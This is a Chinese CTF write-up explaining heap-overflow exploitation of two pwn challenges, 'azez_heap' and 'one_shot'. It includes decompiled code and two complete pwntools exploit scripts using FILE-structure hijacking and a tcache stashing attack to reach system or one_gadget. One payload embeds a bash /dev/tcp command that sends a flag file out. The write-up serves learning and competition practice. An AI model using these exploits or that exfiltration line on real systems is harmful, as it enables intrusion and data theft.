溢 出 大 师
前言
前几天跟着看了几场比赛的题,有两道PWN题印象很深刻,只有一次堆溢出写,限制很多,在这里分享一下思路。
DASCTF六月赛 azez_heap
程序逻辑 & 漏洞利用
比较典型的菜单题,堆块添加部分只能添加0x80
及以上大小的堆块,只能用calloc分配。给一个小sz的堆块会改成0x80,但是注意此时在sz_list[idx]
填的值仍为开始的sz。
unsigned __int64 __fastcall add(__int64 a1, __int64 a2)
{
int v2; // ebx
_QWORD *v3; // rax
unsigned __int64 v4; // rax
unsigned __int64 sz; // rbp
size_t v6; // rdi
void *chunk_addr; // rax
unsigned __int64 v9; // [rsp+8h] [rbp-20h]
v2 = 0;
v9 = __readfsqword(0x28u);
v3 = qword_4080;
while ( *v3 )
{
v3 += 2;
v2 += 2;
if ( &qword_4080[0x14] == v3 )
exit_0();
}
puts("Can U tell me the len of note?");
v4 = get_int();
sz = v4;
if ( v4 <= 0x7F )
{
v6 = 0x80LL;
goto LABEL_7;
}
v6 = v4;
if ( v4 <= 0x2333 )
{
LABEL_7:
chunk_addr = calloc(v6, 1uLL);
++qword_4058;
qword_4080[v2] = chunk_addr;
qword_4080[v2 + 1] = sz;
}
return __readfsqword(0x28u) ^ v9;
}
view
只能用一次,当查看的对象的sz小于0x500时,调用malloc(0x500)
分配一个chunk并且把目标堆块内容拷贝过去并输出。这里可以使用add(0)
使得某个sz_list[idx]
为0,从而拷贝了个寂寞,输出malloc的堆块的内容。
unsigned __int64 __fastcall view(__int64 a1, __int64 a2)
{
unsigned __int64 v2; // rax
signed __int64 v3; // rbp
const void *init_chunk; // r12
signed __int64 sz; // r13
void *malloc_chunk; // r14
unsigned __int64 result; // rax
size_t v8; // rdx
unsigned __int64 v9; // [rsp+8h] [rbp-30h]
v9 = __readfsqword(0x28u);
qword_4060 = 1LL;
puts("Which note U want to view?");
v2 = get_int();
v3 = 2 * v2;
init_chunk = (const void *)qword_4080[2 * v2];
if ( v2 > 9 || !init_chunk )
return __readfsqword(0x28u) ^ v9;
sz = qword_4080[2 * v2 + 1];
if ( sz > 0x4FF )
{
v8 = strlen((const char *)qword_4080[2 * v2]);
result = write(1, init_chunk, v8);
}
else
{
malloc_chunk = malloc(0x500uLL);
memcpy(malloc_chunk, init_chunk, sz);
printf("Here is U2 note:", init_chunk);
result = write(1, malloc_chunk, (unsigned int)(SLOBYTE(qword_4080[v3]) + 1));
}
return result;
}
edit
可以溢出写0x18个字节,delete正常删除并清空bss的数据。
int edit()
{
unsigned __int64 v0; // rax
void *v1; // rbp
__int64 v2; // rbx
if ( qword_4068 )
{
puts("U can no longer modify");
exit_0();
}
qword_4068 = 1LL;
puts("Which note U want to fill in?");
v0 = get_int();
v1 = (void *)qword_4080[2 * v0];
v2 = qword_4080[2 * v0 + 1];
if ( v1 == 0LL || v0 > 9 || !v2 )
return puts("the ptr is null");
puts("Hey,Plz input U2 note");
return sub_1440(v1, v2 + 0x18);
}
目标系统是18.04,首先分配一个块,释放后把它摁进large bin,完事儿调用view的malloc得到这个块,memecpy的sz为0即可泄露出堆地址和libc地址。
由于只有一次溢出写,我们先用溢出写一个unsorted bin的bk,改为global_max_fast-0x10,从而让近乎所有大小的堆块都按照fastbin处理。随后释放某个sz
的堆块,让_IO_list_all
写入这个堆地址,原理是fastbin堆块的头指针会存放到main_arena->fastbinsY[10]
,由于我们改了global_max_fast
,大于0x80的堆块释放后也会依次放到fastbinY后面的地址处,计算这样一个sz出来,这里是0x1438
,分配的堆块最大为0x2333,因此在合法范围内。释放后即可改_IO_list_all。在glibc 2.24后有一套IO攻击的技巧,详情可以参考glibc 2.24 下 IO_FILE 的利用 ,布置一下布局,主要是在fp+0xe8
处布置system
,fp->_IO_buf_end
布置参数地址,还有几个检查绕一下。这里因为需要exit退出的时候触发,而exit前关闭了0/1/2,所以需要反弹shell,我本地起shell失败了,选择直接把flag输出回来
exp.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./azez_heap')
libc_offset = 0x3c4b20
gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
p = process('./azez_heap')
else:
p = remote('127.0.0.1',6666)
def Add(sz):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("Can U tell me the len of note?")
p.sendline(str(sz))
def Edit(idx,content):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil("Which note U want to fill in?")
p.sendline(str(idx))
p.recvuntil("Hey,Plz input U2 note")
p.send(content)
def Delete(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil("Which note U want to del?")
p.sendline(str(idx))
def Show(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil("Which note U want to view?")
p.sendline(str(idx))
def Exit():
p.recvuntil('choice:')
p.sendline('5')
def exp():
#leak libc
Add(0x500)#0
Add(0)#1
Delete(0)
Add(0x600)#0
Show(1)
p.recvuntil("Here is U2 note:")
libc_base = u64(p.recvn(8)) - libc.sym['__malloc_hook'] - 0x10 - 1168
log.success("libc base => " + hex(libc_base))
p.recvn(8)
heap_base = u64(p.recvn(8)) - 0x250
log.success("heap base => " + hex(heap_base))
libc.address = libc_base
#get shell
#binsh_addr = libc.search("/bin/sh").next()
binsh_addr = heap_base+0xef0
str_jumps = libc_base + (0x7ffff7dcc360-0x7ffff79e4000)
write_data = libc_base + (0x7ffff7dcf8c0-0x7ffff79e4000)
Add(0x1438)#2
Add(0x420)#3
Add(0x17)#4
Delete(3)
payload = p64(0)*3
payload += p64(1)
payload += p64(0)
payload += p64((binsh_addr))
payload += p64(0)*4+p64(0)+p64(libc.sym['_IO_2_1_stderr_'])+p64(3)+p64(0)+p64(0)+p64(0)+p64(0)*2+p64(0)+p64(2)+p64(3)+p64(0)+p64(0)+p64(0)*2+p64(str_jumps-8)+p64(0)+p64(libc.sym['system'])
payload += "bash -c 'cat ./flag >/dev/tcp/127.0.0.1/1234 0>&1'"
payload = payload.ljust(0x1438,'\x00')
payload += p64(0x431)+p64(0)+p64(libc_base+(0x7ffff7dd1940-0x7ffff79e4000)-0x10)
Edit(2,payload)
Add(0x420)
Delete(2)
#gdb.attach(p)
Exit()
p.interactive()
exp()
pwnhub内部赛 one_shot
程序逻辑 & 漏洞利用
这个题的设计和上面很像,不过add时最大的sz大小改成了0x1000,这使得之前的解法直接失效了,不过给了个奇怪的后门函数,可以使用scanf输入大量数据。
unsigned __int64 backdoor()
{
char v1; // [rsp+0h] [rbp-610h]
unsigned __int64 v2; // [rsp+608h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( dword_20201C )
{
--dword_20201C;
__isoc99_scanf("%1535s", &v1);
}
return __readfsqword(0x28u) ^ v2;
}
这里的leak相对更简单,给了两个gift用来输出地址,分别得到堆地址和libc地址。
使用tcache stashing attck将_IO_2_1_stdin_->_IO_buf_end
改成main_arena+x
(我这里是+352),从而可以在scanf的时候输入数据到realloc_hook
和malloc_hook
,改成one_gadget
,调节下偏移即可。
exp.py
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
p = process('./pwn')
else:
p = remote('120.92.79.217',10001)
def Add(idx,sz):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("size:")
p.sendline(str(sz))
def Edit(idx,content):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("content:")
p.send(content)
def Delete(idx):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil("idx:")
p.sendline(str(idx))
def Show(idx):
p.recvuntil('choice:')
p.sendline('5')
p.recvuntil("idx:")
p.sendline(str(idx))
def Gift1(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil("idx:")
p.sendline(str(idx))
def Backdoor(content):
p.recvuntil('choice:')
p.sendline('6')
p.send(content)
def exp():
#leak libc
Add(0,0x510)
Add(1,0x510)
Add(16,0x80)
Add(2,0x510)
Add(15,0x80)
Delete(0)
Gift1(3)#init 0
p.recvuntil("gift=> 0x")
heap_base = int(p.recvuntil("Welc",drop=True),16) - 0x260
log.success("heap base => " + hex(heap_base))
Show(3)
p.recvline()
libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 1168
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
#tcache stashing
for i in range(6):
Add(4,0x100)
Delete(4)
Delete(2)
Add(4,0x408)
Add(5,0x500)
Delete(1)
Add(2,0x408)
Add(6,0x500)
target = libc.sym['_IO_2_1_stdin_']+0x40
Edit(2,'a'*0x400+p64(0)+p64(0x111)+p64(heap_base+(0x000055ea00da60a0-0x55ea00da5000))+p64(target-0x10))
Add(8,0x100)
payload = '\x00'*5
static_libc = 0x7fc6d768c000
one_gadget = libc_base + gadgets[6]
print hex(one_gadget)
realloc = libc.sym['realloc']
payload += flat([
libc_base+(0x7fc6d7a798d0-static_libc),
0xffffffffffffffff,
0,
libc_base+(0x7fc6d7a77ae0-static_libc),
0,0,0,0xffffffff,0,0,libc_base+(0x7fc6d7a742a0-static_libc),
])
payload += '\x00'*0x130
payload += flat([
libc.sym['_IO_wfile_jumps'],
0,
libc_base+(0x7fc6d7723410-static_libc),
one_gadget,
realloc+8
])
Backdoor(payload+'\n')
#gdb.attach(p,'b calloc')
Add(1,0x170)
p.interactive()
exp()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课